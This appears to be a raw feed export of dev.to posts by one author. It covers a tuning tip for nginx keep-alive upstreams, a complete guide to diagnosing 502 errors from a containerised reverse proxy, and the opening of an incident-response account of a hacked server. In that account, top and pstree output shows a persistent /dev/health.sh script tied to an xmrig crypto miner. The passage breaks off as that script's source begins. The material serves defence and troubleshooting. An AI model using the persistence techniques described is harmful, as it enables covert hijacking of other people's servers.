    &lt;span class="n"&gt;keepalive&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;server&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;location&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;proxy_http_version&lt;/span&gt; &lt;span class="mf"&gt;1.1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;proxy_set_header&lt;/span&gt; &lt;span class="nc"&gt;Connection&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;   &lt;span class="c1"&gt;# don't forward "Connection: close"&lt;/span&gt;
        &lt;span class="n"&gt;proxy_pass&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;//app01;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For my gateway, this one change took the default proxy host from &lt;strong&gt;18 % to 42 %&lt;/strong&gt; of the baseline.&lt;br&gt;
The rest of the way to ~75 % came from batching the access log (one datagram per ~100 requests&lt;br&gt;
instead of one per request) and skipping rule evaluation for hosts without rules.&lt;/p&gt;

&lt;p&gt;If your backends live on &lt;strong&gt;other machines&lt;/strong&gt; (a separate gateway server in front of a LAN, which is&lt;br&gt;
common), the difference grows: each new connection now costs a real network round trip, not a&lt;br&gt;
loopback one.&lt;/p&gt;
&lt;h2&gt;
  
  
  Fix it in Nginx Proxy Manager (tested on 2.17)
&lt;/h2&gt;

&lt;p&gt;NPM has two hooks that make this possible without forking it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Define the upstream&lt;/strong&gt; in &lt;code&gt;/data/nginx/custom/http_top.conf&lt;/code&gt; (NPM includes this file in the&lt;br&gt;
&lt;code&gt;http&lt;/code&gt; block if it exists; &lt;code&gt;/data&lt;/code&gt; is the volume you already mount):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nginx"&gt;&lt;code&gt;&lt;span class="n"&gt;upstream&lt;/span&gt; &lt;span class="n"&gt;app01&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;server&lt;/span&gt; &lt;span class="mf"&gt;10.0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;0.21&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;keepalive&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;2. Replace the default location&lt;/strong&gt; in the proxy host's &lt;strong&gt;Advanced&lt;/strong&gt; tab. When the Advanced config&lt;br&gt;
contains a &lt;code&gt;location /&lt;/code&gt;, NPM skips its own:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nginx"&gt;&lt;code&gt;&lt;span class="n"&gt;location&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;proxy_http_version&lt;/span&gt; &lt;span class="mf"&gt;1.1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;proxy_set_header&lt;/span&gt; &lt;span class="nc"&gt;Connection&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;proxy_set_header&lt;/span&gt; &lt;span class="nc"&gt;Host&lt;/span&gt; $&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;proxy_set_header&lt;/span&gt; &lt;span class="no"&gt;X&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;Real&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="no"&gt;IP&lt;/span&gt; $&lt;span class="n"&gt;remote_addr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;proxy_set_header&lt;/span&gt; &lt;span class="no"&gt;X&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;Forwarded&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;For&lt;/span&gt; $&lt;span class="n"&gt;proxy_add_x_forwarded_for&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;proxy_set_header&lt;/span&gt; &lt;span class="no"&gt;X&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;Forwarded&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;Proto&lt;/span&gt; $&lt;span class="n"&gt;scheme&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;proxy_pass&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;//app01;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then restart the container (or save the host again) so nginx picks up &lt;code&gt;http_top.conf&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To check that it works, put &lt;a href="https://github.com/traefik/whoami" rel="noopener noreferrer"&gt;&lt;code&gt;traefik/whoami&lt;/code&gt;&lt;/a&gt; behind it and look&lt;br&gt;
at the &lt;code&gt;RemoteAddr&lt;/code&gt; it prints: with NPM's default location, 20 requests showed &lt;strong&gt;20 different&lt;br&gt;
source ports&lt;/strong&gt; (20 connections); with the upstream above, &lt;strong&gt;2&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Caveats: this location replaces NPM's generated one, so the host's &lt;strong&gt;Access List&lt;/strong&gt; no longer&lt;br&gt;
applies inside it, and you now maintain the backend address in two places. It's&lt;br&gt;
worth it for busy hosts, not necessarily for every one.&lt;/p&gt;
&lt;h2&gt;
  
  
  Try it yourself
&lt;/h2&gt;

&lt;p&gt;The benchmark script runs all of the above with one command on any Linux box with Docker and wrk&lt;br&gt;
(it needs sudo once to add the test host names to &lt;code&gt;/etc/hosts&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/corvus-gateway/corvus &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cd&lt;/span&gt; corvus
docker build -f deploy/Dockerfile -t corvus:bench .
&lt;span class="nv"&gt;SCENARIOS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"nginx-baseline corvus-default npm-default"&lt;/span&gt; deploy/bench/bench.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It sets NPM up through its API exactly like the UI would, and writes the raw wrk output next to the&lt;br&gt;
summary. Method and all numbers: &lt;a href="https://github.com/corvus-gateway/corvus/blob/main/docs/benchmark.md" rel="noopener noreferrer"&gt;docs/benchmark.md&lt;/a&gt;.&lt;br&gt;
If you get very different numbers on your hardware, I'd genuinely like to see them.&lt;/p&gt;

&lt;h2&gt;
  
  
  About Corvus
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/corvus-gateway/corvus" rel="noopener noreferrer"&gt;Corvus&lt;/a&gt; is the gateway from the table: Apache-2.0, one&lt;br&gt;
container, an NPM-style console (it can import your NPM configuration) plus WAF rules, automatic&lt;br&gt;
bans, bot challenges and a waiting room for traffic spikes. Keep-alive pools are the default for&lt;br&gt;
every proxy host, which is why the "30 WAF rules" row is still almost 4x the NPM row.&lt;/p&gt;

&lt;p&gt;But you don't need it to benefit from this post: the &lt;code&gt;http_top.conf&lt;/code&gt; trick works on the NPM you&lt;br&gt;
already run.&lt;/p&gt;

</description>
      <category>nginx</category>
      <category>docker</category>
      <category>selfhosted</category>
      <category>performance</category>
    </item>
    <item>
      <title>502 Bad Gateway, but the backend is fine: 4 gotchas when your reverse proxy runs on another server</title>
      <dc:creator>Jikwang Moon</dc:creator>
      <pubDate>Mon, 16 Nov 2026 07:05:57 +0000</pubDate>
      <link>https://dev.to/moonjikwang/502-bad-gateway-but-the-backend-is-fine-4-gotchas-when-your-reverse-proxy-runs-on-another-server-4394</link>
      <guid>https://dev.to/moonjikwang/502-bad-gateway-but-the-backend-is-fine-4-gotchas-when-your-reverse-proxy-runs-on-another-server-4394</guid>
      <description>&lt;p&gt;A very common setup, at home and at work: one small server faces the internet and runs the reverse&lt;br&gt;
proxy in Docker. The actual services live on other machines in the private network.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Internet ──► :80/:443  gateway server (reverse proxy in Docker) ──► 10.0.0.21:8080  wiki
                                                                ──► 10.0.0.22:3000  app
                                                                ──► nas.corp.example:5001  NAS
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You add a host, point it at &lt;code&gt;app01:8080&lt;/code&gt;, save, open the site and get &lt;strong&gt;502 Bad Gateway&lt;/strong&gt;. From your&lt;br&gt;
laptop the service works. From the gateway server itself, &lt;code&gt;curl http://app01:8080&lt;/code&gt; works too.&lt;/p&gt;

&lt;p&gt;Here are the four causes I have run into most often, why they happen, and how to check each one in a&lt;br&gt;
minute. They apply to nginx, Nginx Proxy Manager, OpenResty-based proxies and most other proxies&lt;br&gt;
that run in a container.&lt;/p&gt;
&lt;h2&gt;
  
  
  1. Short names and search domains
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;ping app01&lt;/code&gt; works on the server because &lt;code&gt;/etc/resolv.conf&lt;/code&gt; has a search domain:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nameserver 10.0.0.2
search corp.example
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The C library quietly tries &lt;code&gt;app01.corp.example&lt;/code&gt; for you. &lt;strong&gt;nginx's runtime resolver does not.&lt;/strong&gt;&lt;br&gt;
When nginx resolves upstream names at request time (&lt;code&gt;resolver&lt;/code&gt; directive with a variable in&lt;br&gt;
&lt;code&gt;proxy_pass&lt;/code&gt;, or &lt;code&gt;server ... resolve&lt;/code&gt; in an upstream block), it sends exactly &lt;code&gt;app01&lt;/code&gt; to the DNS&lt;br&gt;
server. Most company and router DNS servers have no answer for a single-label name, so the request&lt;br&gt;
fails with something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[error] ... app01 could not be resolved (3: Host not found)
[error] ... no live upstreams while connecting to upstream
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Inside Docker it is the same: Docker's embedded DNS (&lt;code&gt;127.0.0.11&lt;/code&gt;) forwards the name as it is.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Check:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# from inside the proxy container, without the search list&lt;/span&gt;
docker &lt;span class="nb"&gt;exec&lt;/span&gt; -it proxy nslookup app01.        &lt;span class="c"&gt;# trailing dot = no search domains&lt;/span&gt;
docker &lt;span class="nb"&gt;exec&lt;/span&gt; -it proxy nslookup app01.corp.example.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; use the full name (&lt;code&gt;app01.corp.example&lt;/code&gt;) or the IP address as the upstream.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Names that only exist in the server's /etc/hosts
&lt;/h2&gt;

&lt;p&gt;Some setups have no internal DNS at all; the gateway server has a few lines in &lt;code&gt;/etc/hosts&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;10.0.0.21  app01.corp.example
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A container has its &lt;strong&gt;own&lt;/strong&gt; &lt;code&gt;/etc/hosts&lt;/code&gt;, so the name is unknown inside it. And even inside the&lt;br&gt;
container, nginx's runtime resolver only talks DNS; it never reads &lt;code&gt;/etc/hosts&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; give the container the entry with &lt;code&gt;extra_hosts&lt;/code&gt;, and make sure your proxy resolves such&lt;br&gt;
names at startup (static &lt;code&gt;proxy_pass&lt;/code&gt; without variables) or replaces them with their address:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;services&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;proxy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;extra_hosts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'app01.corp.example:10.0.0.21'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  3. A Docker network that overlaps your private network
&lt;/h2&gt;

&lt;p&gt;Docker picks private ranges for its networks by itself: &lt;code&gt;172.17.0.0/16&lt;/code&gt; to &lt;code&gt;172.31.0.0/16&lt;/code&gt;, then&lt;br&gt;
pieces of &lt;code&gt;192.168.0.0/16&lt;/code&gt;. Every &lt;code&gt;docker compose up&lt;/code&gt; of a new project can create another one.&lt;/p&gt;

&lt;p&gt;If your office or home network also uses, say, &lt;code&gt;172.18.0.0/16&lt;/code&gt; or &lt;code&gt;192.168.16.0/20&lt;/code&gt;, the host gets a&lt;br&gt;
route that sends that range &lt;strong&gt;into the Docker bridge&lt;/strong&gt; instead of to your LAN. The symptom is very&lt;br&gt;
specific: &lt;em&gt;only the hosts whose backend is in that range&lt;/em&gt; return 502; everything else works.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Check:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker network inspect &lt;span class="nv"&gt;$(&lt;/span&gt;docker network ls -q&lt;span class="o"&gt;)&lt;/span&gt; --format &lt;span class="s1"&gt;'{{.Name}} {{range .IPAM.Config}}{{.Subnet}}{{end}}'&lt;/span&gt;
ip route                       &lt;span class="c"&gt;# on the gateway server: which interface owns 10.x / 172.x / 192.168.x?&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; give the proxy's network a range you do not use, and keep Docker away from your ranges for&lt;br&gt;
all future networks:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;networks&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;default&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;ipam&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;config&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;subnet&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;172.30.0.0/24&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In &lt;code&gt;/etc/docker/daemon.json&lt;/code&gt; (then restart Docker):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;"default-address-pools"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;"base"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"172.30.0.0/16"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nl"&gt;"size"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  4. The backend only listens on localhost, or its firewall says no
&lt;/h2&gt;

&lt;p&gt;Two classics on the backend side:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The service listens on &lt;code&gt;127.0.0.1:8080&lt;/code&gt; only. It works from the backend server itself and from
nowhere else. &lt;code&gt;ss -ltnp | grep 8080&lt;/code&gt; on the backend shows the bind address.&lt;/li&gt;
&lt;li&gt;The backend's firewall allows "the admin's PC" or a VPN range, but not the gateway server. With a
bridged container, connections arrive from the &lt;strong&gt;gateway server's LAN address&lt;/strong&gt; (Docker
masquerades them), so that is the address to allow.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Check from the gateway's point of view, not your laptop's:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker &lt;span class="nb"&gt;exec&lt;/span&gt; -it proxy sh -c &lt;span class="s1"&gt;'nc -vz -w 5 10.0.0.21 8080'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;Connection refused&lt;/code&gt; means the address answered but nothing listens on that port (wrong port,&lt;br&gt;
service down, bound to 127.0.0.1). A timeout usually means a firewall silently dropping packets, or&lt;br&gt;
a route going somewhere else (see #3).&lt;/p&gt;

&lt;h2&gt;
  
  
  5. The link between the servers drops packets under load
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Added from the comments, thanks to &lt;a href="https://dev.to/dheerajramasahayam"&gt;@dheerajramasahayam&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;A marginal optic or a damaged cable can pass every quick check (&lt;code&gt;ping&lt;/code&gt;, &lt;code&gt;curl&lt;/code&gt;, &lt;code&gt;nc -vz&lt;/code&gt;) and&lt;br&gt;
still drop packets once real traffic flows. The app is fine, the proxy is fine, the link between&lt;br&gt;
them isn't, and the proxy log only shows timeouts.&lt;/p&gt;

&lt;p&gt;The tell is that the failures &lt;strong&gt;come and go&lt;/strong&gt;: run &lt;code&gt;nc -vz&lt;/code&gt; (or a small &lt;code&gt;curl&lt;/code&gt; loop) from inside&lt;br&gt;
the proxy container while the site is under load, and some attempts time out while others succeed.&lt;br&gt;
The four causes above fail steadily. Then look at the switch, not the proxy: interface error&lt;br&gt;
counters climbing and optical receive power (DOM) drifting low at the same time as the timeouts&lt;br&gt;
mean it's the link.&lt;/p&gt;

&lt;h2&gt;
  
  
  Two more things once it works
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;HTTPS backends with self-signed certificates&lt;/strong&gt; (NAS admin pages, Proxmox): nginx does not verify
upstream certificates by default, so &lt;code&gt;https://&lt;/code&gt; upstreams just work. If the backend routes by
name, also send SNI (&lt;code&gt;proxy_ssl_server_name on;&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Real client IPs&lt;/strong&gt;: the backend now sees every request coming from the gateway. Pass
&lt;code&gt;X-Forwarded-For&lt;/code&gt; / &lt;code&gt;X-Real-IP&lt;/code&gt; and tell the app to trust them &lt;strong&gt;only from the gateway's address&lt;/strong&gt;
(&lt;code&gt;trusted_proxies&lt;/code&gt; in Nextcloud, &lt;code&gt;set_real_ip_from&lt;/code&gt; in nginx). Then firewall the backend ports so
only the gateway can reach them; otherwise anyone on the LAN can skip the proxy and its
protections.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  A one-minute checklist
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Symptom&lt;/th&gt;
&lt;th&gt;Likely cause&lt;/th&gt;
&lt;th&gt;First check&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;could not be resolved&lt;/code&gt;, &lt;code&gt;no live upstreams&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;short name / &lt;code&gt;/etc/hosts&lt;/code&gt; only&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;nslookup name.&lt;/code&gt; inside the container&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;only hosts in one range fail&lt;/td&gt;
&lt;td&gt;Docker subnet overlaps the LAN&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;docker network inspect&lt;/code&gt;, &lt;code&gt;ip route&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Connection refused&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;wrong port, service down, bound to 127.0.0.1&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;ss -ltnp&lt;/code&gt; on the backend&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;timeout after a few seconds&lt;/td&gt;
&lt;td&gt;firewall drops, or wrong route&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;nc -vz&lt;/code&gt; from inside the container&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Why I wrote this
&lt;/h2&gt;

&lt;p&gt;I maintain &lt;a href="https://github.com/corvus-gateway/corvus" rel="noopener noreferrer"&gt;Corvus&lt;/a&gt;, an open-source (Apache-2.0)&lt;br&gt;
self-hosted gateway: an NPM-style reverse proxy with WAF rules, automatic bans, bot challenges and a&lt;br&gt;
waiting room, in one container. Users who run it on a separate gateway server kept hitting exactly&lt;br&gt;
these four problems, and the only clue was a line in the error log.&lt;/p&gt;

&lt;p&gt;So version 1.5.0 has a &lt;strong&gt;Check connection&lt;/strong&gt; button in the host form: it resolves the target with the&lt;br&gt;
gateway's own resolver (no search domains, same &lt;code&gt;extra_hosts&lt;/code&gt; mapping), opens a TCP connection,&lt;br&gt;
does a TLS handshake for https, and tells you which of the cases above you hit before you save. If&lt;br&gt;
visitors still get a 502 later, the host list shows the upstream error with its reason.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fz4lm25s8olkeg8pgjhlo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fz4lm25s8olkeg8pgjhlo.png" alt="Check connection in the proxy host form" width="608" height="900"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Even if you never use Corvus, I hope the checklist saves you an evening. If you have hit another&lt;br&gt;
cause of "502 but the backend is fine", I'd love to hear it in the comments.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Docs: &lt;a href="https://corvusgateway.org/getting-started/how-it-works/#services-on-other-servers" rel="noopener noreferrer"&gt;Services on other servers&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Code: &lt;a href="https://github.com/corvus-gateway/corvus" rel="noopener noreferrer"&gt;https://github.com/corvus-gateway/corvus&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>nginx</category>
      <category>docker</category>
      <category>selfhosted</category>
      <category>networking</category>
    </item>
    <item>
      <title>My Server Got Hacked: 15 Hours Fighting Crypto Miners and Hidden Backdoors</title>
      <dc:creator>Jikwang Moon</dc:creator>
      <pubDate>Tue, 10 Nov 2026 06:00:07 +0000</pubDate>
      <link>https://dev.to/moonjikwang/my-server-got-hacked-15-hours-fighting-crypto-miners-and-hidden-backdoors-f9l</link>
      <guid>https://dev.to/moonjikwang/my-server-got-hacked-15-hours-fighting-crypto-miners-and-hidden-backdoors-f9l</guid>
      <description>&lt;p&gt;It was supposed to be a relaxing Friday evening.&lt;/p&gt;

&lt;p&gt;Instead, I received an alarming message from my cloud provider:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"A large amount of outbound traffic is being generated from your server to a Chinese IP address."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I immediately connected to the server via SSH.&lt;/p&gt;

&lt;p&gt;The CPU usage was nearly &lt;strong&gt;100%&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;What followed was approximately &lt;strong&gt;15 hours of incident response&lt;/strong&gt;, involving cryptocurrency miners, hidden systemd services, multiple persistence mechanisms, a remote management backdoor, and a suspected Next.js vulnerability.&lt;/p&gt;

&lt;p&gt;Here's what happened, what I discovered, and what I learned.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. The Incident Begins
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Friday, December 5, 2025
&lt;/h3&gt;

&lt;p&gt;After receiving the warning from my cloud provider, the first thing I did was run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;top
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One process immediately caught my attention:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PID      USER  PR NI  VIRT  RES   SHR  S  %CPU  %MEM  COMMAND
2096450  root  20  0   7820  1368  1168 R  93.3  0.0   strings
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Wait... &lt;code&gt;strings&lt;/code&gt;?&lt;/p&gt;

&lt;p&gt;Why was a simple utility consuming over 90% of the CPU?&lt;/p&gt;

&lt;p&gt;I killed the process.&lt;/p&gt;

&lt;p&gt;But it came back.&lt;/p&gt;

&lt;p&gt;Every time I terminated it, another process appeared with a different PID.&lt;/p&gt;

&lt;p&gt;Clearly, something was keeping it alive.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Investigating the Process Tree
&lt;/h2&gt;

&lt;p&gt;I started tracing the parent-child relationships using &lt;code&gt;pstree&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pstree -ap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The result revealed something interesting:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;systemd,1
 └─sh,882056 /dev/health.sh
     ├─grep,2110109 -q xmrig
     └─strings,2110108 /proc/2497/exe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There was a shell script running from:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/dev/health.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I had never created this script.&lt;/p&gt;

&lt;p&gt;Even more suspiciously, &lt;strong&gt;five instances&lt;/strong&gt; of it were running simultaneously.&lt;/p&gt;

&lt;h3&gt;
  
  
  Examining health.sh
&lt;/h3&gt;

&lt;p&gt;I opened the script to understand what it was doing.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
